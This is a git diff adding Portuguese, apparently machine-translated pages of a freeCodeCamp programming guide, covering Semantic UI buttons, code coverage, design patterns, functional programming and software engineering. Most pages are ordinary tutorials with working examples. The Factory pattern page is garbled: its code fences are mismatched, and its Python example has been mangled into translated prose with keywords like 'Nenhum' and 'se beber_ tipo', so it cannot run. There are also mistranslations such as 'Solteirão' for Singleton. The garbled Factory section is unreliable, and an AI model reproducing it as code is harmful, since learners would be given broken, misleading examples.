+Semantic UI tem uma documentação completa e muito bem organizada, que irá colocá-lo em funcionamento em pouco tempo. Os links a seguir serão úteis na jornada da sua interface semântica.
+
+*   [Web site de interface semântica](https://semantic-ui.com/)
+*   [Introdução à UI semântica](https://semantic-ui.com/introduction/getting-started.html)
+*   [Exemplos de modelos de interface semântica](https://semantic-ui.com/usage/layout.html#pages)
+*   [Personalizando e criando temas de interface semântica](http://learnsemantic.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/semantic-ui/semantic-ui-buttons/index.md b/client/src/guide/portuguese/semantic-ui/semantic-ui-buttons/index.md
new file mode 100644
index 0000000000..407dc4feeb
--- /dev/null
+++ b/client/src/guide/portuguese/semantic-ui/semantic-ui-buttons/index.md
@@ -0,0 +1,106 @@
+---
+title: Semantic UI Buttons
+localeTitle: Botões de interface semântica
+---
+## Botões de interface semântica
+
+Um botão indica uma possível ação do usuário. A Semantic UI fornece uma sintaxe fácil de usar que simplifica não apenas o estilo de um botão, mas também a semântica da linguagem natural.
+
+#### Como usar
+
+A classe de interface semântica é simplesmente adicionada a um elemento de botão, vários exemplos foram dados abaixo para indicar como usá-lo.
+
+#### Tipos
+
+*   Botão Padrão
+
+Botão padrão da interface semântica
+```
+<button class="ui button">Standard Button</button> 
+```
+
+*   Botão de ênfase
+
+Um botão com um nível diferente de ênfase
+```
+<button class="ui primary button"> 
+```
+
+Outras classes de ênfase são `secondary` , `positive` e `negative`
+
+*   Botão animado
+
+Um botão com animação, mostrando o conteúdo oculto
+```
+<div class="ui animated fade button" tabindex="0"> 
+  <div class="visible content">Sign-up for a Pro account</div> 
+  <div class="hidden content">$12.99 a month</div> 
+ </div> 
+```
+
+A `tabindex="0"` propriedade da propriedade `tabindex="0"` acima torna o teclado do botão focável, já que a tag `<button>` não foi usada.
+
+*   Botão rotulado
+
+Um botão ao lado de um rótulo
+```
+<div class="ui labeled button" tabindex="0"> 
+  <div class="ui button"><i class="heart icon"></i> Like</div> 
+  <a class="ui basic label">2,048</a> 
+ </div> 
+```
+
+o elemento `<i>` é usado para especificar um ícone, aqui está um ícone de coração `<i class="heart icon"></i>` ao lado do rótulo básico `<a class="ui basic label">2,048</a>`
+
+*   Botão do ícone
+
+Um botão de interface semântica pode ser apenas um ícone
+```
+<button class="ui icon button"> 
+  <i class="camera icon"></i> 
+ </button> 
+```
+
+O acima é apenas um ícone da câmera
+
+#### Grupos
+
+Botões de interface semântica podem existir em um grupo
+```
+<div class="ui buttons"> 
+  <button class="ui button">One</button> 
+  <button class="ui button">Two</button> 
+  <button class="ui button">Three</button> 
+ </div> 
+```
+
+#### Conteúdo
+
+Botões da interface semântica podem conter condicionais
+```
+<div class="ui buttons"> 
+  <button class="ui positive button">Yes</button> 
+  <div class="or" data-text="or"></div> 
+  <button class="ui negative button">No</button> 
+ </div> 
+```
+
+#### Estados
+
+Os botões da interface semântica podem existir em estados diferentes, `active` , `disabled` , `loading` . Basta adicionar um nome de estado ao atributo `class` `of` elemento \`.
+```
+<button class="ui loading button">Loading</button> 
+```
+
+#### Variações
+
+Existem botões UI semânticas em uma variedade de tamanhos `mini` , `tiny` , `small` , `medium` , `large` , `big` , `huge` e `massive` .
+```
+<button class="ui massive button">Massive Button</button> 
+```
+
+Há muito mais sobre os botões da interface semântica, visite o link fornecido na seção Mais informações para saber mais.
+
+#### Mais Informações:
+
+*   [Botões de interface do usuário semântica](https://semantic-ui.com/elements/button.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/code-coverage/index.md b/client/src/guide/portuguese/software-engineering/code-coverage/index.md
new file mode 100644
index 0000000000..39675fcef5
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/code-coverage/index.md
@@ -0,0 +1,23 @@
+---
+title: Code Coverage
+localeTitle: Cobertura de código
+---
+## Cobertura de código
+
+Quando você executa testes automatizados em software para localizar bugs, a **cobertura de código** é uma medida de quanto do código que você está testando é realmente executado durante os testes.
+
+O código que não foi executado durante o teste, por definição, não foi testado e, portanto, pode conter erros. Assim, de modo geral, quanto maior a cobertura de código relatada pelo conjunto de testes, menor a chance de erros não serem percebidos.
+
+Isso não quer dizer que 100% de cobertura de código significa 0% de chance de erros, no entanto! É fácil imaginar uma situação na qual todas as funções disponíveis em um trecho de código são chamadas, mas não necessariamente com entradas representando todos os tipos de cenários que você poderia esperar de usuários reais.
+
+Os detalhes de como a cobertura de código não será de muito interesse até que você esteja realmente usando testes automatizados e tentando garantir que esteja fazendo isso de maneira eficaz.
+
+#### Mais Informações
+
+[Wikipedia - cobertura de código](https://en.wikipedia.org/wiki/Code_coverage)
+
+[Guia freeCodeCamp - Desenvolvimento Orientado a Testes](https://guide.freecodecamp.org/agile/test-driven-development)
+
+[Guia freeCodeCamp - Testes Unitários](https://guide.freecodecamp.org/software-engineering/unit-tests)
+
+[Guia freeCodeCamp - Integração Contínua](https://guide.freecodecamp.org/agile/continuous-integration)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/builder/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/builder/index.md
new file mode 100644
index 0000000000..cbc67c4f7f
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/builder/index.md
@@ -0,0 +1,71 @@
+---
+title: Builder
+localeTitle: Construtor
+---
+O construtor é um padrão de design que pode abstrair e desacoplar a criação de um objeto muito complexo.
+
+## Construtor em Python
+
+Aqui está um exemplo de implementação do Builder Pattern no Python3.
+
+```python
+# Builder 
+ class CourseBuilder(object): 
+    def __init__(self, teacher): 
+        self.teacher = teacher 
+ 
+    def build_course(self): 
+        self.teacher.provide_homework() 
+        self.teacher.provide_exam() 
+        return self.teacher.course 
+ 
+ # Teacher 
+ class Teacher(object): 
+    def __init__(self, name=None): 
+        self.name = name 
+        self.course = Course() 
+ 
+    def provide_homework(self): 
+        raise NotImplementedError 
+ 
+    def provide_exam(self): 
+        raise NotImplementedError 
+ 
+ 
+ class MathTeacher(Teacher): 
+    def provide_homework(self): 
+        self.course.homework = 'This is Math homework provided by {}.'.format(self.name) 
+ 
+    def provide_exam(self): 
+        self.course.exam = 'This is Math exam tested by {}.'.format(self.name) 
+ 
+ 
+ class HistoryTeacher(Teacher): 
+    def provide_homework(self): 
+        self.course.homework = 'This is History homework provided by {}.'.format(self.name) 
+ 
+    def provide_exam(self): 
+        self.course.exam = 'This is History exam tested by {}.'.format(self.name) 
+ 
+ 
+ # Target objects to be produced 
+ class Course(object): 
+    def __init__(self): 
+        self.homework = None 
+        self.exam = None 
+ 
+    def __str__(self): 
+        return 'Homework: {}\nExam: {}\n'.format(self.homework, self.exam) 
+ 
+ 
+ math_course = CourseBuilder(MathTeacher('Harry')).build_course() 
+ print(math_course) 
+ >>> Homework: This is Math homework provided by Harry. 
+ >>> Exam: This is Math exam tested by Harry. 
+ 
+ history_course = CourseBuilder(HistoryTeacher('Potter')).build_course() 
+ print(history_course) 
+ >>> Homework: This is History homework provided by Potter. 
+ >>> Exam: This is History exam tested by Potter. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/decorator/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/decorator/index.md
new file mode 100644
index 0000000000..071d3a33f4
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/decorator/index.md
@@ -0,0 +1,41 @@
+---
+title: Decorator
+localeTitle: Decorador
+---
+O decorador é um padrão de design que pode modificar ou aprimorar a interface de uma classe.
+
+## Decorador em Python3
+
+Aqui está um exemplo da implementação do Decorator no Python3.
+
+```python
+class MyText(object): 
+    def __init__(self, text=''): 
+        self.text = text 
+ 
+    def __str__(self): 
+        return 'This is {}'.format(self.text) 
+ 
+ 
+ class BracketDecorator(object): 
+    def __init__(self, decoratee): 
+        self._decoratee = decoratee 
+ 
+    def __str__(self): 
+        return '({})'.format(self._decoratee) 
+ 
+ 
+ class QuoteDecorator(object): 
+    def __init__(self, decoratee): 
+        self._decoratee = decoratee 
+ 
+    def __str__(self): 
+        return '\"{}\"'.format(self._decoratee) 
+ 
+ 
+ print(BracketDecorator(MyText('apple'))) 
+ >>> (This is apple) 
+ print(QuoteDecorator(MyText('banana'))) 
+ >>> "This is banana" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/factory-method/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/factory-method/index.md
new file mode 100644
index 0000000000..303a07c74d
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/factory-method/index.md
@@ -0,0 +1,11 @@
+---
+title: Factory Method
+localeTitle: Método de Fábrica
+---
+## Método de Fábrica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/monte-carlo/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/factory/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/factory/index.md
new file mode 100644
index 0000000000..357d00e2ee
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/factory/index.md
@@ -0,0 +1,86 @@
+---
+title: Factory
+localeTitle: Fábrica
+---
+A fábrica é um padrão de projeto que visa reduzir as dependências entre as classes que instanciam (criam) objetos e os próprios objetos, criando uma classe "factory" que lida com a criação de classes. Ao fazer isso, permitimos que as subclasses redefinam qual classe instanciar e agrupe a lógica de criação potencialmente complexa em uma única interface.
+
+Os programadores usam padrões de projeto de fábrica porque permite que eles criem instâncias de objetos que implementam uma interface comum, sem necessariamente saber de antemão a classe concreta exata (implementação) sendo usada. Uma situação comum em que isso é útil é quando uma classe pai está contando com suas classes filhas para especificar o tipo de objeto que deve ser instanciado. Também é útil quando a criação de um objeto é complexa, pois permite que o programador agrupe o código em uma única classe e reduza a duplicação.
+
+## Usando o padrão de fábrica em Java
+
+Para usar o padrão de design de fábrica, você primeiro precisa ter uma interface - um objeto com nomes de classe e variável, mas sem definições. Por exemplo, aqui temos uma interface Java para animais.
+
+\`\` \`  
+public interface Animal { void talk (); }
+```
+We now need to have "concrete classes" - classes which implement our interface and define the associated functions/ variables. 
+```
+
+```
+public class Dog implements Animal { 
+ 
+    @Override 
+    public void talk() { 
+        System.out.println("Woof"); 
+    } 
+ } 
+```
+
+```
+public class Cat implements Animal { 
+ 
+    @Override 
+    public void talk() { 
+        System.out.println("Meow!"); 
+    } 
+ } 
+```
+
+```
+We now define our "AnimalFactory" - the class which will handle the creation of these classes. 
+```
+
+```
+public class AnimalFactory { 
+ 
+    public Animal getAnimal(String animalType) { 
+        if (animalType.equals("dog")) { 
+            return new Dog(); 
+        } else if (animalType.equals("cat")) { 
+            return new Cat(); 
+        } 
+        return null; 
+    } 
+ } 
+```
+
+```
+Now when we want to create a new Cat object, instead of saying something like ``` Cat cat = new Cat(); ```, we use the factory class that we have defined. For example: 
+```
+
+```
+    AnimalFactory animalFactory = new AnimalFactory(); 
+ 
+    Animal cat = animalFactory.getAnimal("cat"); 
+    cat.talk(); 
+```
+
+```
+Here we can see that the class with this instance of "Cat" doesn't really know which animal it has. But this doesn't matter - because all the classes the factory creates are concrete classes of the same interface, the parent class doesn't need to know the exact class it is using. 
+ 
+ 
+ ## Factory in Python3 
+ We can implement a Factory easily with static methods. 
+```
+
+python bebida da classe (objeto): def **init** (self, nome, preço = Nenhum): self.name = name self.price = price
+
+Classe Chá (Bebida): def **str** (self): return 'Isto é chá: {} em $ {}'. format (self.name, self.price)
+
+class Milk (bebida): def **str** (self): return 'Isto é leite: {} em $ {}'. format (self.name, self.price)
+
+classe DrinkFactory (objeto): @staticmethod def generate ( _tipo de_ bebida _\= Nenhum, \* args, \* _kwargs): se beber_ tipo == 'chá': return Tea (_ args, \* _kwargs) _tipo de_ bebida elif _\== 'leite': retorno Milk (_ args, \*\* kwargs) raise NotImplementedError ("{} bebida não existe.". format (_ tipo de _bebida_ ))
+
+# Testando
+
+_chá_ preto _\= DrinkFactory.generate ('chá', 'Chá preto', preço = 4.39)_ leite _integral_ = DrinkFactory.generate ('leite', 'Leite Integral', preço = 5,49) imprimir ( _chá_ preto _) imprimir (_ leite _integral_ ) \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/finite-state-machine/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/finite-state-machine/index.md
new file mode 100644
index 0000000000..15cadaa970
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/finite-state-machine/index.md
@@ -0,0 +1,66 @@
+---
+title: Finite State Machine
+localeTitle: Máquina de estados finitos
+---
+A máquina de estados finitos (FSM) é um padrão de design de software em que um dado modelo transita para outros estados comportamentais por meio de entrada externa.
+
+## Máquina de estados finitos
+
+Um FSM é definido por seus **estados** , seu **estado inicial** e as **transições** .
+
+O poder do FSM vem da capacidade de definir claramente diferentes _comportamentos_ em diferentes condições. Normalmente, o FSM é usado com scripts comportamentais em loop que avaliam constantemente a situação atual em um loop ou com eventos.
+
+Para ajudar a formar uma imagem de como isso pode ser aplicado, uma máquina de café será usada como exemplo de uma máquina de estados finitos. Também vamos cobrir um diagrama de estados para visualizar o FSM e fornecer exemplos de codificação.
+
+### Diagrama de estado
+
+![Diagrama de máquina de estado finito de máquina de café](https://raw.githubusercontent.com/arunma/blogimages/master/AkkaFSM/CoffeeMachineFSM.png) Este diagrama mostra três estados possíveis para a máquina de café:
+
+*   Aberto
+*   ReadyToComprar
+*   Desligado
+
+As linhas entre esses estados mostram quais transições são possíveis entre estados e em qual direção. Essas transições têm condições para quando o FSM precisar mudar entre estados.
+
+*   StartUpMachine Do estado PoweredOff para o estado Aberto, a máquina precisa inicializar. Isso é feito manualmente neste caso.
+    
+*   depósito> = custo do café O FSM avalia a quantidade de dinheiro depositado em um loop ou quando o valor é alterado (recomendado neste caso) Se você depositar dinheiro suficiente na máquina de café, o FSM passará de 'Aberto' para 'ReadyToBuy'.
+    
+*   ShutdownMachine A máquina irá automaticamente de Open para PoweredOff através do método ShutDownMachine se a condição 'não mais cafés restantes' for atendida.
+    
+*   DispenseCafé No estado ReadyToBuy, o usuário pode comprar um café, após o qual ele será fabricado e distribuído. A condição é quando o evento BuyCoffee (! Link to observer pattern!) É acionado. (não mostrado no diagrama)
+    
+*   CancelarCafé Se o usuário optar por cancelar, a máquina passará de ReadyToBuy para Open.
+    
+*   ShutDownMachine A máquina irá para o estado PoweredOff
+    
+
+### Estados
+
+Em cada estado há um comportamento definido que só será executado quando o objeto estiver nesse estado. Por exemplo, durante a PoweredOff, a máquina de café não irá preparar café antes de ser ligada, durante o estado Aberto, ela aguardará até que haja dinheiro suficiente inserido, até que o comando de desligar seja dado, ou até ficar sem café. Durante esse estado aberto, ele pode executar rotinas como limpeza, que não acontecerão em outros estados.
+
+### Estado inicial
+
+Cada FSM tem um estado inicial, isto significa que estado começa quando é criado e tem que ser definido quando construído ou instanciado. Claro que é possível alterar diretamente o estado se as condições forem atendidas.
+
+### Transições
+
+Cada estado avalia constantemente se deve fazer a transição para outro estado ou fará a transição para outro estado com base em um evento acionado.
+
+## DFA e NFA
+
+Existem dois tipos de autômato finito, determinístico (DFA) e não determinista (NFA). Ambos aceitam idiomas regulares e operam mais ou menos da mesma forma descrita acima, porém com algumas diferenças.
+
+Um DFA aceita ou rejeita uma sequência de símbolos e apenas produz um único cálculo ou autômato para cada sequência de entrada. _Determinístico_ refere-se à unicidade do cálculo. Uma máquina de estados finitos é chamada de DFA, se obedecer às seguintes regras:
+
+1.  Cada uma das suas transições é determinada _exclusivamente_ por seu estado de origem e símbolo de entrada
+2.  A leitura de um símbolo de entrada é necessária para cada transição de estado.
+
+Um NFA não precisa obedecer a essas restrições, o que significa que cada DFA também é um NFA. E como ambos reconhecem linguagens regulares, cada NFA pode ser convertido em um DFA equivalente usando o algoritmo de construção do conjunto de potência.
+
+Então, que tipo de regras podemos esperar encontrar nos NFAs, mas não nos DFAs?
+
+1.  Um NFA pode ter uma transição de _cadeia vazia_ (geralmente denotada por um épsilon). O que significa que, quando em um determinado estado com um epsilon para uma regra de transição, a máquina pode passar para o próximo estado sem ler um símbolo de entrada
+2.  Em um NFA, cada par de estado e símbolo de transição pode ter vários estados de destino, em oposição aos destinos exclusivos de pares nos DFAs
+3.  Cada par de estado e símbolo de transição produz um "ramo" de cálculo para cada um dos seus possíveis destinos, criando algum tipo de sistema multithread.
+4.  Um DFA rejeitará a string de entrada se ela cair em qualquer estado diferente do estado de aceitação. Em um NFA, precisamos apenas de um "branch" para chegar em um estado de aceitação para aceitar a string.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/index.md
new file mode 100644
index 0000000000..3c6c8e1d22
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/index.md
@@ -0,0 +1,47 @@
+---
+title: Design Patterns
+localeTitle: Padrões de design
+---
+## Padrões de design
+
+Programadores e arquitetos de software usam padrões de projeto para resolver problemas **comuns e recorrentes** na arquitetura de software. Os padrões fornecem uma abordagem agnóstica de linguagem **para programação orientada a objetos** que ajuda os desenvolvedores a seguir os princípios de um bom design de aplicativo.
+
+### Por que padrões de design?
+
+O desenvolvimento de padrões de design oferece várias vantagens:
+
+*   É mais fácil seguir bons princípios de programação, como os **[princípios](https://medium.com/@cramirez92/s-o-l-i-d-the-first-5-priciples-of-object-oriented-design-with-javascript-790f6ac9b9fa)** do **[SOLID](https://www.youtube.com/watch?v=XzdhzyAukMM) .**
+*   Ele mantém pedaços de código menores, então o código é mais fácil de **testar** e **depurar**
+*   Ele ajuda a manter o código fracamente acoplado, para que o código seja mais fácil de **reutilizar** e **atualizar** para novos aplicativos
+*   Torna o código mais fácil de **entender** , por isso os novos contribuidores podem **aumentar rapidamente**
+
+Usar padrões de design incorre em alguns trade-offs e desenvolvedores novatos na prática devem lembrar-se do seguinte:
+
+*   Não **há balas de prata** na programação e os padrões de design não são uma exceção
+*   Padrões de design adicionam uma **camada de abstração** ao código, o que aumenta o esforço inicial de design e desenvolvimento
+*   O uso excessivo de padrões de design ou a necessidade de ajustá-los torna o código **mais difícil** de entender
+
+### Suporte de linguas
+
+Padrões de design originados do mundo de linguagens estaticamente tipadas como C ++, Java e C #. A maioria dos recursos sobre desenvolvimento por padrão de design é baseada em um desses idiomas.
+
+No entanto, os padrões de design são apenas isso: padrões. Eles **não** são **implementações** , como classes ou interfaces, e **não** são **restritos a nenhum idioma** .
+
+Ao aprender padrões de design dentro de uma linguagem dinâmica, se padrões particulares parecerem desnecessariamente complexos ou contra-intuitivos, lembre-se de suas origens. Os desenvolvedores em linguagens dinâmicas ainda podem usar e se beneficiar dos padrões de design, embora mais pesquisas possam ser necessárias para compreendê-los completamente.
+
+### Usos
+
+Padrões de design são excelentes para resolver problemas de codificação fundacional de forma simples e repetitiva. Em geral, eles se enquadram em três categorias:
+
+*   Padrões **criativos** descrevem como criar novos objetos
+*   Padrões **estruturais** descrevem como compor objetos de outros objetos
+*   Padrões **comportamentais** descrevem como os objetos se comunicam entre si
+
+Todas essas tarefas podem ser executadas sem padrões de design, mas os padrões de design **reduzem o risco de** violar boas práticas e criar códigos de difícil manutenção.
+
+#### Mais Informações:
+
+*   Os [padrões de design de](https://github.com/kamranahmedse/design-patterns-for-humans) Kamran Ahmed [para humanos](https://github.com/kamranahmedse/design-patterns-for-humans) é uma excelente introdução aos padrões específicos
+*   [Design Patterns](https://en.wikipedia.org/wiki/Design_Patterns) é o livro que iniciou esta prática
+*   Os [Padrões de Arquitetura de Aplicativos Corporativos de](https://martinfowler.com/eaaCatalog/) Martin Fowler fornecem um conjunto de padrões mais sofisticados para aplicativos corporativos
+*   O Sourcemaking fornece um [recurso online](https://sourcemaking.com/design_patterns) com exemplos adicionais e informações sobre padrões de design
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/observer/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/observer/index.md
new file mode 100644
index 0000000000..d48db11c53
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/observer/index.md
@@ -0,0 +1,17 @@
+---
+title: Observer pattern
+localeTitle: Padrão observador
+---
+O padrão Observer oferece um modelo de assinatura no qual os objetos se inscrevem em um evento e são notificados quando o evento ocorre.
+
+## Padrão observador
+
+Esse padrão é a base da programação orientada a eventos. No desenvolvimento de front-end, esse é um padrão essencial para dimensionar de forma sólida a lógica de sua aplicação. Nesse padrão, você faz a diferença entre o **sujeito** e os **observadores** . Os assuntos são os próprios eventos, como um _clique_ , um _pressionamento de tecla_ ou um sinal do servidor. Todos os **observadores** assinados são notificados quando um assunto muda de estado (quando um evento é disparado). Para mais informações sobre eventos leia aqui [Programação Dirigida por Evenet](https://www.technologyuk.net/software-development/designing-software/event-driven-programming.shtml)
+
+### Inscrevendo-se
+
+A vantagem desse padrão é ter uma coleção de objetos assinados que responderão a um evento em vez de chamar uma função em todos os objetos que devem ser notificados. Outra vantagem é que os observadores são inscritos por meio de uma interface, que permite que as mudanças na função do evento estejam apenas dentro da função.
+
+## Outros recursos
+
+Um exemplo de código e mais no [Observer Design Pattern](http://www.dofactory.com/javascript/observer-design-pattern)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/design-patterns/singleton/index.md b/client/src/guide/portuguese/software-engineering/design-patterns/singleton/index.md
new file mode 100644
index 0000000000..ff6964219c
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/design-patterns/singleton/index.md
@@ -0,0 +1,155 @@
+---
+title: Singleton
+localeTitle: Solteirão
+---
+O singleton é um padrão de design que restringe a instanciação de uma classe a um objeto. É útil quando você quer dar a um único objeto a capacidade de coordenar ações em todo o seu aplicativo.
+
+## Singleton no Android
+
+Singleton é um padrão de design usado frequentemente no Android. É facilmente mal utilizado e por isso pode dificultar a manutenção da aplicação. É útil no Android porque eles vivem em fragmentos, atividades e rotações.
+
+*   Singletons são frequentemente usados ​​no Android para armazenar dados temporários
+*   Eles permitem que o aplicativo tenha um proprietário dos dados e fornece uma maneira fácil de passar dados entre as classes do controlador
+*   Singletons são destruídos quando o Android remove seu aplicativo da memória
+*   Singletons podem dificultar a unidade testar seu aplicativo
+
+```java
+public class DataStore { 
+  private static DataStore sDataStore; 
+  private List<Data> mData; 
+ 
+  public static DataStore get(Context context) { 
+    if (sDataStore == null) { 
+      sDataStore = new DataStore(context); 
+    } 
+    return sDataStore; 
+  } 
+ 
+  // Make constructor private to prevent other classes from creating a DataStore instance 
+  private DataStore(Context context) { 
+    mData = new ArrayList<>(); 
+  } 
+ 
+  // The only way for other classes to get data from DataStore 
+  public List<Data> getData() { 
+    return mData; 
+  } 
+ } 
+```
+
+## Singleton em PHP
+
+> Um construtor privado é usado para impedir a criação direta de objetos da classe. A única maneira de criar uma instância da classe é usando um método estático que cria o objeto somente se ele já não tiver sido criado.
+
+```php
+Class Singleton { 
+ 
+  // Hold the class instance 
+  private static $instance = null; 
+ 
+  /** 
+  * The constructor is private 
+  * it is ensure the class can be initialized only from itself 
+  */ 
+  private function __construct(){} 
+ 
+  /** 
+  * Return the singleton instance of this class 
+  * 
+  * @return Singleton 
+  */ 
+  public static function getInstance() 
+  { 
+    if (self::$instance == null) 
+    { 
+      self::$instance = new Singleton(); 
+    } 
+ 
+    return self::$instance; 
+  } 
+ 
+ } 
+ 
+ $obj1 = Singleton::getInstance(); 
+ $obj2 = Singleton::getInstance(); 
+```
+
+## Solteirão em C
+
+A versão mais elegante, simples e de alto desempenho do padrão usando [System.Lazy \\](http://msdn.microsoft.com/en-us/library/dd642331.aspx) tipo de .NET 4.0 ou superior.
+
+```csharp
+public sealed class Singleton 
+ { 
+    private static readonly Lazy<Singleton> lazy = new Lazy<Singleton>(() => new Singleton()); 
+ 
+    public static Singleton Instance { get { return lazy.Value; } } 
+ 
+    private Singleton() 
+    { 
+    } 
+ } 
+```
+
+## Singleton em Python3
+
+Podemos usar metaclasse para implementar o Singleton no Python3.
+
+```python
+class Singleton(type): 
+    # Mapping from a class to its singleton instance 
+    _instances = {} 
+ 
+    def __call__(cls, *args, **kwargs): 
+        if cls not in Singleton._instances: 
+            Singleton._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) 
+ 
+        return Singleton._instances[cls] 
+ 
+ 
+ class MyClass(metaclass=Singleton): 
+    pass 
+```
+
+### Testando
+
+```python
+obj_0 = MyClass() 
+ obj_1 = MyClass() 
+ 
+ In [2]: obj_0 
+ Out[2]: <__main__.MyClass at 0x111130da0> 
+ 
+ In [3]: obj_1 
+ Out[3]: <__main__.MyClass at 0x111130da0> 
+```
+
+## Singleton no iOS
+
+```Swift4
+class Singleton { 
+  static let sharedInstance = Singleton() 
+ 
+    init() { 
+        print("Singleton has been initialized") 
+    } 
+ 
+    //write your functions here 
+    func sampleFunction() { 
+    } 
+ } 
+ 
+ //Uses 
+ Singleton.sharedInstance.sampleFunction() 
+```
+
+Esse código simples está todo lá para implementar um padrão de design singleton no iOS usando o Swift. Colocamos `static` porque é uma propriedade de tipo e sua funcionalidade é criar apenas uma instância de um objeto e impede que seus métodos sejam substituídos. O uso de `let` garante que o valor de sharedInstance não será alterado.
+
+Uma coisa importante a notar é que `static` propriedades e métodos `static` são lazy initialize por padrão, o que significa que não será instanciado até que esteja sendo chamado, portanto, fornece alguma otimização.
+
+## Mais Informações
+
+Para mais informações, visite os seguintes links:
+
+*   [MSDN: Implementando Singleton em C #](https://msdn.microsoft.com/en-us/library/ff650316.aspx)
+*   [C # em profundidade. Implementando o padrão singleton em c #](http://csharpindepth.com/Articles/General/Singleton.aspx)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/functional-programming/index.md b/client/src/guide/portuguese/software-engineering/functional-programming/index.md
new file mode 100644
index 0000000000..3c0a51ae94
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/functional-programming/index.md
@@ -0,0 +1,45 @@
+---
+title: Functional Programming
+localeTitle: Programação Funcional
+---
+## Programação Funcional
+
+A programação funcional é o processo de construção de software, compondo **funções puras** , evitando **estado compartilhado** , **dados mutáveis** e **efeitos colaterais** . A programação funcional é **declarativa** (dizendo ao computador o que você quer fazer) em vez de **imperativa** (informando ao computador exatamente como fazer isso), e o estado do aplicativo flui através de funções puras. Compare-o com a programação orientada a objetos, em que o estado do aplicativo é geralmente compartilhado e co-localizado com métodos em objetos.
+
+### Por que programação funcional?
+
+*   Geralmente é mais conciso
+*   Geralmente é mais previsível
+*   É mais fácil testar do que código orientado a objetos
+
+### Adoção por programação de idiomas
+
+Muitas linguagens de programação suportam programação funcional como Haskell, F #, Common Lisp, Clojure, Erlang, OCaml. O JavaScript também possui as propriedades de uma linguagem funcional não tipificada.
+
+### Usos
+
+A programação funcional tem sido popular na academia, mas com poucas aplicações industriais. No entanto, recentemente várias linguagens de programação funcionais proeminentes foram usadas em sistemas comerciais ou industriais. Por exemplo, a linguagem de programação Erlang, que foi desenvolvida pela empresa sueca Ericsson no final dos anos 80, é usada para criar uma variedade de aplicativos em empresas como a T-Mobile, a Nortel, o Facebook, a Eletricité de France e o WhatsApp.
+
+### Funções de ordem superior
+
+Funções de ordem superior são uma grande parte da programação funcional. Uma função de ordem superior é uma função que recebe uma função como parâmetro ou retorna uma função.
+
+### Mapa
+
+`map` é uma função de ordem superior que chama uma função para cada elemento de uma lista e retorna os resultados como uma _nova_ lista.
+
+Aqui está um exemplo de `map` :
+
+```javascript
+const myList = [6, 3, 5, 29]; 
+ 
+ let squares = myList.map(num => num * num); // [36, 9, 25, 841] 
+```
+
+### Mais Informações:
+
+*   [Wikipedia - Programação Funcional](https://en.wikipedia.org/wiki/Functional_programming#Use_in_industry)
+    
+*   [KeyCDN - Programação Funcional - O que é e por que isso importa?](https://www.keycdn.com/blog/functional-programming/)
+    
+*   [Médio - O que é programação funcional?](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/software-engineering/index.md b/client/src/guide/portuguese/software-engineering/index.md
new file mode 100644
index 0000000000..e177f64fe2
--- /dev/null
+++ b/client/src/guide/portuguese/software-engineering/index.md
@@ -0,0 +1,25 @@
+---
+title: Software Engineering
+localeTitle: Engenharia de software
+---
+## Engenharia de software
+
+O campo da **engenharia** de **software** é o estudo de técnicas e estratégias para gerenciar eficientemente todo o ciclo de vida do desenvolvimento de software.
+
+Se você está escrevendo apenas scripts que podem ser usados ​​uma ou duas vezes, a implementação de princípios de engenharia de software pode estar muito envolvida. No entanto, à medida que os projetos de software aumentam e prevêem o uso contínuo futuro, os princípios da engenharia de software se tornam cada vez mais importantes.
+
+Todo o ciclo de vida do desenvolvimento de software varia desde a criação de ideias e design do software até a manutenção do software desenvolvido ao longo do tempo.
+
+Você pode pensar em engenharia de software como codificar algo e continuar funcionando. No entanto, um aspecto importante da engenharia de software em que você pode não pensar é na prática ética do desenvolvimento de software.
+
+Nessa época em que o software pode ser usado de forma maliciosa para roubar informações ou causar danos se o software for implementado incorretamente, os engenheiros de software (ou profissionais) devem estar cientes de suas obrigações para desenvolver software eticamente.
+
+### Mais Informações:
+
+*   [Engenharia de Software 10ª Ed. por Sommerville](http://iansommerville.com/software-engineering-book/) - site companheiro para o livro com decks de slides para cada capítulo
+*   [O Guia do Corpo de Conhecimento em Engenharia de Software](https://www.computer.org/web/swebok)
+*   [Rádio de Engenharia de Software](http://www.se-radio.net/) - podcast para desenvolvedores profissionais de software
+*   [Engenharia de Software Daily](https://softwareengineeringdaily.com/)
